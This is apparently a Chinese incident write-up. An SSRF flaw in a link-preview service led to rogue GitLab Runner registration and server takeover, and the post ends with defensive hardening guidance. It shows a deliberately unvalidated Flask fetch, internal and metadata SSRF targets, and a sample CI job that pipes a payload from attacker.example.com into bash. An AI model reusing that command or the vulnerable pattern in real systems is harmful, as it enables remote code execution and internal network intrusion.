1. 凌晨三点的那条告警把我从床上拽了起来先说结论这不是什么科幻电影里的“AI觉醒”而是一次典型的SSRF服务端请求伪造被自动化扫描工具打穿然后顺着CI/CD流水线的信任链一路摸到了内网。整个过程从第一个异常请求到服务器被完全接管前后不到四十分钟。我把它写出来是因为类似的事情在过去半年里我至少见过三次而且每一次的入口都出奇地相似。这篇文章适合谁看如果你手里管着几台服务器、跑着 GitLab 或者 Jenkins、用 Docker 部署过服务、或者正在做 AI Agent 相关的开发那这篇内容大概率能帮你省下一次通宵。我会把整个事件的来龙去脉拆开讲清楚攻击者是怎么发现入口的、SSRF 到底能捅多大的篓子、CI/CD 为什么成了放大器、以及我后来做了哪些加固。所有涉及具体操作的部分我都会给出可以直接抄的配置和命令。需要提前说明的是文中提到的所有工具和技术细节都只用于防御和自查目的。我分享的是“怎么发现自己的系统有这个问题”以及“怎么修”不是“怎么去打别人”。这个边界希望大家心里有数。事情发生在某个周二凌晨。我的监控机器人往手机上推了一条消息内容是某台边缘节点的 CPU 占用在五分钟内从 3% 飙到了 97%同时出站流量异常。我当时的第一反应是“是不是又被爬虫扫了”因为这台机器上跑的是一个对外提供链接预览功能的小服务——用户提交一个 URL服务端去抓取那个页面的标题和摘要返回。这个功能本身很常见很多聊天工具、笔记软件都有类似的设计。但接下来发生的事情让我意识到问题比爬虫严重得多。我 SSH 上去看了一眼进程列表发现有一个curl进程正在以极高的频率请求一个内网地址。那个地址是我 CI/CD 流水线的 GitLab Runner 注册端口。也就是说有人正在利用我的链接预览服务去探测我自己的内网。这就是 SSRF 的经典形态服务端被诱导去请求了一个攻击者原本访问不到的地址。而这次之所以后果特别严重是因为我的链接预览服务和 CI/CD 基础设施在同一个 VPC 里而且内网之间几乎没有做微隔离。2. 从链接预览到内网漫游SSRF 到底是怎么被利用的2.1 一个“看起来人畜无害”的功能怎么就成了入口链接预览这个功能的实现逻辑非常简单接收用户传来的 URL服务端用 HTTP 客户端去请求这个 URL解析 HTML 拿到title和meta description返回给前端。问题出在“服务端去请求”这一步——如果没有对目标地址做严格限制攻击者就可以传入任意地址包括内网地址。我当时的代码大概长这样简化版import requests from flask import Flask, request, jsonify app Flask(__name__) app.route(/preview) def preview(): url request.args.get(url) resp requests.get(url, timeout5) # 解析 title 和 description ... return jsonify({title: title, desc: desc})这段代码的问题在于url参数完全没有校验。攻击者可以传http://169.254.169.254/latest/meta-data/云环境的元数据地址、http://127.0.0.1:8080/admin、http://10.0.0.5:9000等等。服务端会老老实实去请求这些地址然后把结果返回给攻击者。更麻烦的是很多 HTTP 客户端默认会跟随重定向。攻击者可以先传一个自己控制的公网地址该地址返回 302 跳转到内网地址这样即使你做了初步的 URL 校验也可能被绕过。2.2 为什么这次不是“看看就完了”而是被打了进去如果只是能读取内网页面的内容危害还有限。但这次攻击者做了几件事把 SSRF 的威力放大了好几个量级。第一他扫描了内网常见端口。通过链接预览服务的响应时间差异和返回内容他可以判断哪些端口是开放的。比如请求http://10.0.0.5:8080如果返回连接拒绝说明端口关闭如果返回 401 或 200说明有服务在跑。第二他发现了 GitLab Runner 的注册接口。GitLab Runner 在注册时会用一个 registration token如果这个 token 泄露或者接口没有做网络层限制攻击者就可以注册一个恶意的 Runner然后这个 Runner 就能在 CI/CD 流水线里执行任意代码。第三他利用了 CI/CD 流水线的信任关系。在大多数团队里CI/CD 流水线拥有很高的权限——能拉代码、能构建镜像、能推送到镜像仓库、能部署到生产环境。一旦攻击者控制了 Runner他就可以修改流水线配置在构建阶段注入恶意代码然后等着下一次部署时把后门带到生产环境。整个过程听起来很复杂但实际上从 SSRF 到 Runner 注册再到流水线劫持攻击者用的都是现成的工具和脚本。我在日志里看到从第一个恶意请求到 Runner 注册成功中间只隔了不到十二分钟。2.3 攻击链复盘每一步的日志长什么样我把关键日志片段整理了一下方便大家对照自己的系统看看有没有类似痕迹。时间事件日志特征03:12首次探测内网/preview?urlhttp://10.0.0.1:80返回 20003:15端口扫描大量/preview?urlhttp://10.0.0.x:yyyy请求响应时间差异明显03:19发现 GitLab/preview?urlhttp://10.0.0.5:8080返回 GitLab 登录页03:22尝试 Runner 注册内网出现向 GitLab 的 POST 请求路径含/api/v4/runners03:24Runner 注册成功GitLab 日志出现新的 Runner 注册记录03:31流水线被触发CI/CD 日志出现异常的 job执行了非预期的脚本03:47服务器被接管出现异常 SSH 登录和计划任务这张表里的每一步单独看都不一定引起警觉但连起来就是一条完整的攻击链。这也是为什么我在事后复盘时反复强调安全不是靠某一个点的防护而是靠整条链路的可见性和阻断能力。3. CI/CD 为什么成了攻击者的“放大器”3.1 流水线的权限比你想象的大得多很多团队在搭建 CI/CD 时关注的是“能不能跑通”而不是“跑通了之后能碰到什么”。一个典型的 GitLab CI 流水线Runner 通常具备以下能力拉取代码仓库的所有代码读取 CI/CD 变量里面往往有数据库密码、API Key、部署密钥构建并推送 Docker 镜像通过 SSH 或 Kubernetes API 部署到生产环境访问内网的其他服务这意味着一旦 Runner 被控制攻击者拿到的不是一个普通用户的权限而是一个“超级部署账号”。他可以读取所有环境变量可以往镜像里注入后门可以在部署脚本里加一行反向连接的命令。而且这些操作都是在“正常”的流水线执行过程中发生的很多监控系统根本不会告警。3.2 Runner 注册机制里的那些坑GitLab Runner 的注册流程本身设计是为了方便但如果不加限制就会变成漏洞。默认情况下只要知道 GitLab 地址和 registration token任何人都可以注册一个 Runner。这个 token 有时候会出现在不该出现的地方——比如被硬编码在脚本里、被提交到代码仓库、或者通过 SSRF 从内网接口泄露。我后来检查了自己的配置发现几个问题Runner 注册没有限制来源 IPregistration token 长期没有轮换Runner 的executor用的是shell而不是docker意味着 job 直接在宿主机上执行流水线变量里存了生产环境的 SSH 私钥这几个问题叠加在一起基本上等于把钥匙插在门上还贴了张纸条说“欢迎光临”。3.3 从 Runner 到生产环境只需要改一行配置攻击者注册 Runner 之后下一步就是让它跑起来。他可以在自己的仓库里创建一个.gitlab-ci.yml内容大概是这样的stages: - build build: stage: build script: - curl -s http://attacker.example.com/payload.sh | bash tags: - my-runner-tag如果这个 Runner 的 tag 和某个项目的流水线匹配或者攻击者直接修改了某个项目的流水线配置那么这段脚本就会在 Runner 所在的机器上执行。而由于 Runner 通常能访问生产环境攻击者就可以进一步横向移动。我在日志里看到攻击者执行的脚本做了三件事读取环境变量并外传、在宿主机上添加 SSH 公钥、创建一个定时任务用于持久化。这三步做完这台机器就已经不属于我了。4. 我是怎么发现并阻断这次攻击的4.1 异常流量的第一反应先断网再取证凌晨三点多我看到告警后的第一反应不是去分析代码而是先把那台边缘节点的出站流量切断。具体操作是修改安全组规则只保留必要的入站端口出站全部拒绝。这样做的好处是即使攻击者还在尝试横向移动也会因为网络不通而失败。然后我做了一次内存和磁盘的快照保留现场。这一步很重要因为很多攻击者会清理日志如果你不提前保存后面复盘时就没有证据了。快照完成后我才开始逐个检查进程、网络连接、计划任务和启动项。4.2 定位入口从链接预览服务到 SSRF 确认我首先检查了链接预览服务的访问日志发现大量来自同一个 IP 的请求参数里的 URL 都是内网地址。这基本确认了入口就是 SSRF。接着我检查了代码发现确实没有对 URL 做任何限制。然后我检查了 GitLab 的审计日志发现了一个陌生的 Runner 注册记录注册时间正好在 SSRF 探测之后。这个 Runner 的 tag 和我某个项目的 tag 匹配而且已经执行过几次流水线。我立刻删除了这个 Runner并轮换了 registration token。4.3 清理与加固我做了哪些改动清理工作包括删除攻击者添加的 SSH 公钥、删除异常的计划任务、轮换所有可能泄露的密钥、重新部署受影响的服务器。加固工作则涉及多个层面我在下一节详细展开。这里先说一个教训不要只修入口。我一开始只修了 SSRF 的问题但后来发现攻击者已经在内网留下了其他访问路径。如果我只修入口而不做全面的凭据轮换和主机排查攻击者随时可以回来。5. 防御加固从代码到基础设施的完整清单5.1 代码层SSRF 防护的正确姿势SSRF 防护的核心原则是不要相信用户提供的任何地址。具体来说需要做以下几件事。第一使用白名单而不是黑名单。黑名单永远列不全而且容易被绕过比如用十进制 IP、八进制 IP、IPv6 映射等。白名单则是只允许特定的域名或 IP 段。第二解析 URL 后检查目标 IP。即使域名看起来正常也要解析成 IP 后判断是否属于内网段。内网段包括10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16等。第三禁止跟随重定向或者对重定向后的地址再做一次校验。很多 SSRF 绕过就是利用重定向实现的。第四使用专门的 HTTP 客户端库并设置合理的超时和响应大小限制。避免攻击者通过大文件拖垮服务。下面是我后来用的校验函数Python 版import ipaddress import socket from urllib.parse import urlparse BLOCKED_NETS [ ipaddress.ip_network(10.0.0.0/8), ipaddress.ip_network(172.16.0.0/12), ipaddress.ip_network(192.168.0.0/16), ipaddress.ip_network(127.0.0.0/8), ipaddress.ip_network(169.254.0.0/16), ipaddress.ip_network(0.0.0.0/8), ] def is_safe_url(url): parsed urlparse(url) if parsed.scheme not in (http, https): return False host parsed.hostname if not host: return False try: ip socket.gethostbyname(host) except socket.gaierror: return False ip_obj ipaddress.ip_address(ip) for net in BLOCKED_NETS: if ip_obj in net: return False return True这个函数只做了基础校验实际使用时还需要考虑 DNS 重绑定攻击即第一次解析是公网 IP第二次解析变成内网 IP。更稳妥的做法是在建立连接时直接绑定解析后的 IP或者使用支持 SSRF 防护的 HTTP 客户端库。5.2 CI/CD 层让 Runner 不再成为跳板CI/CD 的加固我从几个方面入手。首先是 Runner 的注册限制。GitLab 支持在注册时要求 Runner 提供一个认证 token而且可以限制 Runner 的 tag 和访问范围。我后来改成了“只有特定 IP 段才能注册 Runner”并且 registration token 定期轮换。其次是 Runner 的执行环境。我把shellexecutor 改成了dockerexecutor这样每个 job 都在独立的容器里运行即使被注入代码影响范围也有限。同时限制了容器的网络访问只允许访问必要的地址。第三是流水线变量的管理。我把敏感变量改成了“受保护”状态只有特定分支才能使用。同时引入了外部的密钥管理服务避免密钥直接存在 GitLab 里。第四是流水线的审计。我开启了 GitLab 的审计日志并对流水线的创建、修改、执行做了监控。任何非预期的流水线变更都会触发告警。5.3 网络层微隔离让横向移动变得困难这次事件让我意识到内网“扁平化”是最大的风险之一。链接预览服务、GitLab、生产数据库都在同一个网段里一旦一个点被突破攻击者就可以轻松横向移动。我后来做了网络微隔离具体做法是把不同职能的服务放到不同的子网子网之间默认拒绝所有流量只放行必要的端口和协议对 CI/CD 相关的服务做额外的访问控制只允许特定的源 IP 访问对云环境的元数据地址做特殊处理禁止从业务容器访问这些改动听起来工程量大但实际上用安全组和网络策略就能实现大部分。关键是要有“默认拒绝”的思路而不是“默认允许再逐个封禁”。5.4 监控层让异常行为无处遁形监控方面我增加了几个关键的告警规则出站流量突增比如五分钟内增长超过 300%对非常见端口的连接尝试对云元数据地址的访问CI/CD 流水线的非预期变更新 Runner 的注册敏感文件的读取比如/etc/shadow、~/.ssh/id_rsa这些规则不需要多复杂用现有的监控工具就能实现。重要的是有人看告警而且告警能触发自动响应。我后来把一些高危告警直接接到了自动阻断脚本上比如检测到对元数据地址的访问就自动封禁源 IP。6. 常见问题与排查技巧实录6.1 怎么判断自己的服务有没有 SSRF 风险一个简单的自查方法是找出所有“服务端会发起网络请求”的功能点然后问自己几个问题。检查项风险表现建议URL 参数是否可控用户能传任意 URL加白名单校验是否跟随重定向302 跳转后请求内网禁止跟随或二次校验是否支持非 HTTP 协议支持 file://、gopher:// 等只允许 http/https响应内容是否返回内网页面内容被返回限制返回内容或脱敏是否有超时限制请求长时间挂起设置合理超时是否限制响应大小大文件拖垮服务限制读取字节数如果以上任何一项是“否”那就需要重点关注。6.2 CI/CD 被入侵后第一时间应该做什么我的经验是按以下顺序操作暂停所有流水线防止攻击者继续利用删除未知的 Runner轮换 registration token轮换所有 CI/CD 变量中的密钥检查最近的流水线执行记录找出异常 job检查 Runner 所在主机的进程、网络连接、计划任务重新部署受影响的服务器不要试图“清理”已被入侵的机器这里特别强调第 6 点一旦主机被入侵最安全的做法是重建而不是清理。因为你永远不知道攻击者留了多少后门。6.3 几个容易忽略的细节第一个细节是 DNS 重绑定。即使你在代码里校验了 URL 的 IP攻击者仍然可以通过控制 DNS 解析来绕过。防御方法是在建立连接时直接使用解析后的 IP而不是让 HTTP 客户端重新解析。第二个细节是 IPv6。很多 SSRF 防护只考虑了 IPv4但攻击者可以用 IPv6 地址访问内网服务。比如http://[::1]:8080就是访问本机的 8080 端口。第三个细节是云环境的元数据服务。在云上169.254.169.254这个地址可以获取实例的临时凭据。如果 SSRF 能访问这个地址攻击者就可以拿到云账号的权限。防御方法是在网络层禁止业务容器访问这个地址或者使用 IMDSv2 等更安全的元数据服务。第四个细节是 CI/CD 的缓存和制品。攻击者可能在缓存里植入恶意文件或者篡改制品的元数据。所以清理时不仅要看流水线配置还要看缓存和制品仓库。7. 一些个人体会和后续的扩展思路这次事件之后我最大的体会是安全不是一个产品而是一个持续的过程。我见过很多团队买了很贵的安全设备但代码里的 SSRF 漏洞三年没修也见过一些团队没什么预算但把基础的事情做得很好反而很少出事。如果你问我最值得投入的三件事是什么我会说第一把所有对外发起请求的功能点梳理一遍加上白名单校验第二把 CI/CD 的权限收紧Runner 用容器隔离密钥定期轮换第三把内网做微隔离让攻击者即使进来了也走不远。这三件事不需要花很多钱但能挡住绝大多数自动化攻击。而自动化攻击恰恰是凌晨三点最可能找上你的那种。后续我还想做一些扩展比如把 SSRF 检测集成到代码扫描流程里每次提交代码时自动检查有没有新增的 URL 请求点再比如把 CI/CD 的审计日志接入 SIEM做更复杂的关联分析。这些还在摸索中等有成熟经验了再分享。最后分享一个小技巧如果你不确定自己的服务有没有 SSRF可以搭一个内网的 HTTP 服务然后用你的功能去请求它。如果能请求成功说明有风险。这个方法比看代码快得多而且能发现一些静态分析发现不了的问题。
企业数字化 ERP 产品动态
相关推荐
IC617下CDB转OA:cds.lib与Conversion Toolbox 简介:面向仍在使用 IC514/IC617、需要把旧工艺库从 CDB 迁移到 OpenAccess 的 Cadence 模拟版图设计与 PDK 维护人员,这份 PDF 围绕 cdb2oa 数据转换展开,重点解决旧工艺库在新平台打开时提示 OA executable on CDB data、库无法正常加载等问… · 2026/11/4 14:22:27
SQL CASE WHEN表达式详解与实战应用 1. SQL中的CASE WHEN表达式深度解析 作为一名数据分析师,我每天都要处理各种复杂的数据转换需求。CASE WHEN表达式就像SQL语言中的瑞士军刀,它能帮助我们优雅地处理条件逻辑,实现从简单值映射到复杂业务规则的各种场景。今天我就结合多年实战… · 2026/11/4 14:22:27
GoView数据可视化大屏在电视端的兼容性优化实践 1. 问题现象与初步排查 最近在项目中遇到一个典型的前端展示问题:GoView数据可视化大屏在电视设备上无法正常加载。具体表现为页面白屏、资源加载失败或渲染异常。这个问题在PC端和移动端测试时完全正常,唯独在智能电视(包括不同品牌的Androi… · 2026/11/4 14:22:27
SAP S/4HANA采购主数据实战避坑指南:MM01、OMS2与BP配置关键逻辑 简介:本资源是SAP S4 HANA采购模块(S4520)的中文版系统化教程,专为SAP应用顾问、项目经理及企业最终用户设计,聚焦供应链管理中的采购全流程实践与配置能力提升。内容覆盖从采购主数据创建(物料主记录、业务… · 2026/11/4 15:17:08
Univer 通用文档渲染引擎:Canvas 与插件架构的 Web 表格 SDK 实践 1. 从“univer”这个标题说起:它到底是什么,能解决什么问题第一次看到“univer”这个词,很多人会以为是“universe”的缩写,或者某个新出的前端框架。其实它是一套开源的通用文档与表格渲染引擎,核心定位是“把电子表格… · 2026/11/4 15:17:08
DSOAL:DirectSound3D到OpenAL的HRTF音效修复 1. 先把这层“翻译官”的定位说清楚DSOAL 这个名字,拆开看其实已经把答案写在脸上了——DirectSound 到 OpenAL 的一条转译通道。它做的事非常具体:把老游戏里那些DirectSound3D的 3D 声源调用、EAX的环境音效参数,全部截下来,翻译… · 2026/11/4 15:17:08
hindsight:为Agent构建可插拔长期记忆系统的架构设计与Docker部署实践 1. 从“hindsight”说起:为什么我们需要给Agent装一个“后视镜” 第一次看到“hindsight”这个词,是在一个做Agent记忆系统的群里。有人丢了一张架构图,说“这玩意儿终于把Agent的长期记忆做成了可插拔的模块”。我当时的第一反应是ÿ… · 2026/11/4 15:17:08
打造统一模型优化工具链:剪枝、量化与蒸馏实践 1. 项目触发与实际痛点 先交代一下背景。我在这家大模型团队待得越久,越发现一个问题:模型做出来了,跑不动。训练时大家抢着用A100,到了部署阶段,一算资源账单直接头疼。特别是在推理侧,卡是有限的… · 2026/11/4 15:16:06
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38
AI辅助技术栈评估:提升研发决策效率60% 1. 项目背景与核心价值技术决策一直是研发团队面临的重大挑战。随着技术生态的快速演进,技术栈的选择、维护和迭代变得愈发复杂。我们团队在过去两年里,先后经历了三次重大技术栈迁移,每次都需要投入大量人力进行技术评估和风险分析。直到去年… · 2026/11/4 0:00:17
从生成Token到直接决策:Jev如何重塑AI Agent工程实践 1. 从"生成文字"到"拍板决策":Jev 到底在解决什么问题大多数人第一次接触大模型,脑子里建立的模型是"输入问题、输出文字"。你问它今天天气怎么样,它给你一段描述;你让它写个周报,它给你… · 2026/11/4 0:00:17
32G统一内存跑大模型:内存账、TPS实测与端云分流 想在一台 32G 统一内存的小主机上把大模型跑成"日常可用",这件事我前后折腾了小半年。标题里说的这台 Mac mini M6,是我们这次讨论的目标平台,具体到手规格以实物为准;但下面这套推算方法和实测思路,对任何统… · 2026/11/4 0:00:17
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38